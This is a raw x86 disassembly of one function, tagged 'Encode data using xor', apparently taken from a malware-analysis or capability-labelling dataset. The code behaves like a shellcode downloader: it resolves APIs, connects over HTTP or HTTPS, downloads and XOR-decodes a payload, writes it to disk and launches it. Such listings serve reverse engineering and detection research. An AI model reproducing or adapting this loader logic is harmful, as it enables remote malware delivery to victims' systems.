Function at 0x403370
Capabilities:
Encode data using xor

Disassembly:
pop ecx
jmp 0x402e15
mov ebp, esp
add ecx, 0x1a
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
push ecx
mov ebx, ecx
push dword [ebp + 4]
call dword [ebp]
mov dword [ebp - 4], eax
push eax
xor eax, eax
mov al, byte [ebx]
inc ebx
test eax, eax
jne 0x402e2f
push ebx
push dword [ebp + 4]
call dword [ebp]
mov dword [ebp - 8], eax
push eax
mov esi, ebx
lodsb al, byte [esi]
test al, al
jne 0x402e43
lodsb al, byte [esi]
dec al
je 0x402e5c
dec al
je 0x402e65
dec esi
push esi
push dword [ebp - 0x10]
call dword [ebp - 8]
push eax
jmp 0x402e43
push esi
call dword [ebp - 4]
mov dword [ebp - 0x10], eax
jmp 0x402e43
mov eax, dword [ebp - 0xc]
mov ecx, eax
add eax, 0xc96
push eax
mov eax, ecx
add eax, 0xca1
push eax
mov eax, ecx
add eax, 0xb7f
push eax
mov ebp, esp
add esp, 0xfffffd80
push 4
push 0x1000
push 0xa7dce4
push 0
call dword [ebp + 0x3c]
test eax, eax
je 0x402e88
push 0x1000
pop ecx
push ecx
mov dword [ebp - 0x44], eax
add eax, 0x1e8868
mov dword [ebp - 0x48], eax
add eax, 0x5b9550
mov dword [ebp - 0xc], eax
pop edx
add eax, edx
mov dword [ebp - 0x10], eax
add eax, edx
add eax, ecx
mov dword [ebp - 0x30], eax
add eax, edx
mov dword [ebp - 4], eax
mov ebx, eax
add eax, edx
mov edi, eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], eax
lodsw ax, word [esi]
mov dword [ebp - 0x54], eax
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebx], edi
add ebx, 4
lodsb al, byte [esi]
cmp al, 1
je 0x402efb
stosw word es:[edi], ax
inc ecx
test al, al
jne 0x402eed
jmp 0x402ee8
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 8], esi
shl eax, 2
add esi, eax
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], edi
mov ecx, eax
cld
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
lodsw ax, word [esi]
stosd dword es:[edi], eax
loop 0x402f12
mov eax, 0x400
mov dword [ebp - 0x50], edi
add edi, eax
mov dword [ebp - 0x6c], edi
mov ebx, edi
add ebx, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov eax, 0xc8
lea esi, [ebp - 0x68]
mov dword [esi], eax
push esi
push edi
call dword [ebp + 0x70]
lodsd eax, dword [esi]
shl eax, 1
add edi, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov ah, 4
mov dword [ebp - 0x68], ebx
mov edi, ebx
add ebx, eax
mov ecx, 0x11c
mov esi, ebx
mov dword [esi], ecx
push esi
call dword [ebp + 0x6c]
xor eax, eax
push 0x10e
mov al, 0x2f
stosw word es:[edi], ax
lodsd eax, dword [esi]
lodsd eax, dword [esi]
add al, 0x30
stosw word es:[edi], ax
lodsd eax, dword [esi]
add al, 0x30
stosw word es:[edi], ax
pop eax
add esi, eax
lodsb al, byte [esi]
dec al
je 0x402f8d
push 0x450055
pop eax
dec eax
dec eax
stosd dword es:[edi], eax
mov al, 0x52
stosw word es:[edi], ax
sub esi, 6
dec esi
lodsw ax, word [esi]
test ax, ax
je 0x402fb0
add al, 0x32
dec eax
push eax
mov al, 0x2b
inc eax
inc eax
stosw word es:[edi], ax
mov al, 0x54
push 0x50
dec eax
stosw word es:[edi], ax
pop eax
stosw word es:[edi], ax
pop eax
dec eax
stosw word es:[edi], ax
xor eax, eax
mov al, 0x2f
stosw word es:[edi], ax
xor eax, eax
stosw word es:[edi], ax
mov ebx, 0xfff
mov edi, dword [ebp - 0xc]
push ebx
push edi
xor eax, eax
push eax
call dword [ebp + 0x68]
mov esi, dword [ebp - 0x10]
push esi
push ebx
call dword [ebp + 0x64]
mov ecx, 7
call dword [ebp + 8]
push eax
push esi
mov ecx, 0
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x84]
add esp, 0x18
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push edi
call dword [ebp + 0x5c]
cmp eax, 0xffffffff
je 0x402fef
mov dword [ebp - 0x14], eax
push 0
push eax
call dword [ebp + 0x40]
mov dword [ebp - 0x18], eax
push eax
push edi
call dword [ebp + 0x48]
inc eax
shl eax, 1
mov dword [ebp - 0x2c], eax
pop ecx
add ecx, eax
mov esi, ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp - 0x18]
push eax
push dword [ebp - 0x14]
call dword [ebp + 0x58]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp + 0x74]
test eax, eax
je 0x403218
push esi
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add edi, eax
mov esi, dword [ebp - 0xc]
cld
rep movsb byte es:[edi], byte [esi]
pop esi
xor eax, eax
mov edi, eax
push edi
push 0x80
push 2
push edi
push 2
push 0x40000000
push dword [ebp - 0x10]
call dword [ebp + 0x5c]
test eax, eax
je 0x4036af
mov dword [ebp - 0x24], eax
push edi
lea ecx, [ebp - 0x20]
push ecx
push esi
push dword [ebp - 0x1c]
push eax
call dword [ebp + 0x54]
push dword [ebp - 0x14]
call dword [ebp + 0x44]
push dword [ebp - 0x24]
call dword [ebp + 0x44]
push dword [ebp - 0xc]
push 0x800
call dword [ebp + 0x64]
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x4030ba
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, eax
push dword [ebp - 0xc]
push edi
push edi
push edi
push edi
push edi
push dword [ebp - 0x10]
push edi
call dword [ebp + 0x34]
push edi
call dword [ebp + 0x30]
int3
xor eax, eax
mov ecx, 0x3c
mov edx, dword [ebp - 0x1c]
push edx
add edx, ecx
mov ax, word [edx]
pop edx
add edx, eax
movzx ecx, word [edx + 6]
mov esi, dword [edx + 0x3c]
add edx, 0x14
movzx eax, word [edx]
inc eax
inc eax
inc eax
inc eax
add edx, eax
mov eax, 0x28
dec ecx
add edx, eax
dec ecx
jne 0x403244
mov ecx, esi
mov eax, dword [edx + 8]
add eax, ecx
dec eax
dec ecx
not ecx
and eax, ecx
add eax, dword [edx + 0x14]
mov edi, dword [ebp - 0x1c]
add edi, eax
push dword [ebp - 0x14]
call dword [ebp + 0x44]
mov esi, 0x1e
push edi
call dword [ebp + 0x50]
test eax, eax
jne 0x40327e
push 1
push 0x3e8
call dword [ebp + 0x38]
dec esi
jne 0x403269
xor eax, eax
mov esi, eax
push eax
push esi
push eax
push 0
push 6
pop ecx
call dword [ebp + 8]
push eax
call dword [ebp + 0x28]
test eax, eax
je 0x40327e
mov dword [ebp - 0x28], eax
push 3
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x88], eax
push 4
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x84], eax
mov eax, 0x3e80
mov dword [ebp - 0x7c], eax
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov ecx, eax
mov dword [ebp - 0x80], eax
dec eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
inc eax
cmp eax, dword [ebp - 0x5c]
jne 0x403319
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
inc eax
mov dword [edx], eax
mov ecx, dword [ebp - 0x7c]
cmp eax, 5
jbe 0x4032fe
inc esi
cmp eax, 0xa
jbe 0x4032fe
add ecx, 0x2710
mov dword [ebp - 0x7c], ecx
xor eax, eax
mov dword [edx], eax
mov ecx, 0x927c0
push 1
push ecx
call dword [ebp + 0x38]
test esi, esi
jne 0x40330f
mov ax, 0x2901
call dword [ebp]
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x403319
xor eax, eax
inc eax
mov dword [ebp - 0x58], eax
call dword [ebp + 4]
cmp ah, 0xff
je 0x4032c8
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x403333
push eax
call dword [ebp + 0x18]
and dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x38]
jecxz 0x403340
push ecx
call dword [ebp + 0x18]
and dword [ebp - 0x38], 0
lea esi, [ebp - 0x70]
mov eax, 0xfa0
mov dword [esi], eax
push 4
push esi
push 2
push dword [ebp - 0x28]
call dword [ebp + 0x10]
push 3
pop ecx
xor esi, esi
push ecx
push esi
push esi
push 3
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x1bb
test eax, eax
jne 0x403372
mov ecx, 0x50
push ecx
dec eax
test eax, eax
jne 0x40339c
inc eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
test eax, eax
jne 0x40339c
inc eax
mov dword [edx], eax
call dword [ebp + 0x60]
xor edx, edx
div dword [ebp - 0x5c]
mov eax, edx
test eax, eax
jne 0x403399
inc eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
pop ecx
test eax, eax
loope 0x40335a
mov dword [ebp - 0x34], eax
je 0x4032c8
xchg edi, eax
lea esi, [ebp - 0x70]
mov eax, 0x2710
mov dword [esi], eax
push 4
push esi
push 2
push edi
call dword [ebp + 0x10]
xor esi, esi
push 3
pop ecx
push ecx
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x80803000
test eax, eax
jne 0x4033e8
mov ecx, 0x80000000
push ecx
lea eax, [ebp - 0x88]
push eax
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ah, 1
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
push edi
call dword [ebp + 0x20]
pop ecx
test eax, eax
loope 0x4033d5
mov dword [ebp - 0x38], eax
test eax, eax
je 0x4033b6
xchg edi, eax
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x40342e
lea esi, [ebp - 0x70]
mov eax, 0x100
mov dword [esi], eax
push 4
push esi
push 0x1f
push dword [ebp - 0x38]
call dword [ebp + 0x10]
lea esi, [ebp - 0x70]
mov eax, 0xea60
mov dword [esi], eax
push 4
push esi
push 6
push dword [ebp - 0x38]
call dword [ebp + 0x10]
push 4
push esi
push 2
push dword [ebp - 0x38]
call dword [ebp + 0x10]
xor esi, esi
push 2
pop ecx
push ecx
push esi
push esi
push esi
push esi
push edi
call dword [ebp + 0x1c]
pop ecx
test eax, eax
loope 0x403453
je 0x4033b6
mov eax, 0x3d0900
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x20]
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x64], edi
mov ecx, 0x1388
push ecx
push esi
push dword [ebp - 0x40]
push edi
push dword [ebp - 0x38]
call dword [ebp + 0x14]
pop ecx
test eax, eax
je 0x4034b7
mov eax, dword [esi]
test eax, eax
je 0x4034b7
add edi, eax
sub dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x4034b7
dec ecx
jne 0x403482
mov ecx, dword [ebp - 0x58]
mov ax, 0x2902
call dword [ebp]
jmp 0x4032c8
mov eax, edi
sub eax, dword [ebp - 0x44]
cmp eax, 0x249f0
ja 0x40351b
mov ecx, dword [ebp - 0x58]
test ecx, ecx
jne 0x4034a8
mov ecx, eax
mov edi, dword [ebp - 0x30]
mov eax, dword [edi]
test eax, eax
jne 0x4034a8
push 0x2e
mov esi, dword [ebp - 0x44]
pop ecx
lodsb al, byte [esi]
cmp al, cl
jb 0x4034ea
cmp al, 0x39
ja 0x4034ea
add eax, 0x14
stosb byte es:[edi], al
loop 0x4034db
xor eax, eax
stosw word es:[edi], ax
push eax
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push ecx
call dword [ebp + 0x60]
and eax, 3
add eax, dword [ebp - 0x54]
push eax
mov cl, 8
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
mov dword [ebp - 0x74], eax
pop eax
mov ecx, eax
call dword [ebp]
jmp 0x4032c8
mov dword [ebp - 0x40], eax
mov eax, 0x5b8d80
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x58]
mov ah, 2
call dword [ebp + 4]
mov cl, ah
shl ecx, 2
mov eax, dword [ebp - 8]
add eax, ecx
mov edi, dword [eax]
xor eax, eax
mov al, 4
mov edx, eax
mov ecx, dword [ebp - 0x40]
shr ecx, 2
dec ecx
mov esi, dword [ebp - 0x44]
add esi, edx
push edi
push esi
lodsd eax, dword [esi]
xor eax, edi
pop edi
stosd dword es:[edi], eax
mov esi, edi
pop edi
dec edi
dec ecx
jne 0x40354c
xor ecx, ecx
mov cl, 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x40]
sub eax, ecx
push eax
mov esi, dword [ebp - 0x44]
add esi, ecx
push esi
mov eax, dword [ebp - 0x4c]
push eax
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x64], edi
push edi
push 0x102
call dword [ebp + 0x80]
mov eax, dword [edi]
dec al
inc ah
cmp ax, 0x5b4c
je 0x4035c1
mov eax, dword [ebp - 0x58]
mov ecx, eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
cmp eax, 5
ja 0x4036af
inc eax
mov dword [edx], eax
mov ax, 0x2904
call dword [ebp]
push 1
push 0x7d0
call dword [ebp + 0x38]
jmp 0x4032c8
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
push 0x80
push 2
push eax
push 2
push 0x40000000
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
call dword [ebp + 0x5c]
mov edi, eax
xor eax, eax
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x64]
push edi
call dword [ebp + 0x54]
push edi
call dword [ebp + 0x44]
mov esi, dword [ebp - 0xc]
push esi
push ecx
call dword [ebp + 0x4c]
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
mov ecx, 1
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x84]
add esp, 0x18
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x40363c
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
push edi
call dword [ebp + 0x34]
mov ecx, eax
mov eax, 0x2905
call dword [ebp]
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov ecx, eax
push ecx
mov eax, dword [ebp - 0x58]
mov ah, 3
call dword [ebp + 4]
mov cl, ah
mov eax, 0x3e8
mul ecx
push 1
push eax
call dword [ebp + 0x38]
pop ecx
mov dl, cl
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x5c]
push ebx
mov ebx, dword [ebp - 0x60]
mov eax, dword [ebx]
cmp al, dl
jne 0x40369a
inc ebx
mov al, 0xff
mov byte [ebx], al
dec ebx
mov ah, al
cmp ah, 0xff
je 0x4036a0
inc esi
add ebx, 8
dec ecx
jne 0x40368c
pop ebx
cmp esi, ecx
jne 0x4032c8
push 0
call dword [ebp + 0x30]
int3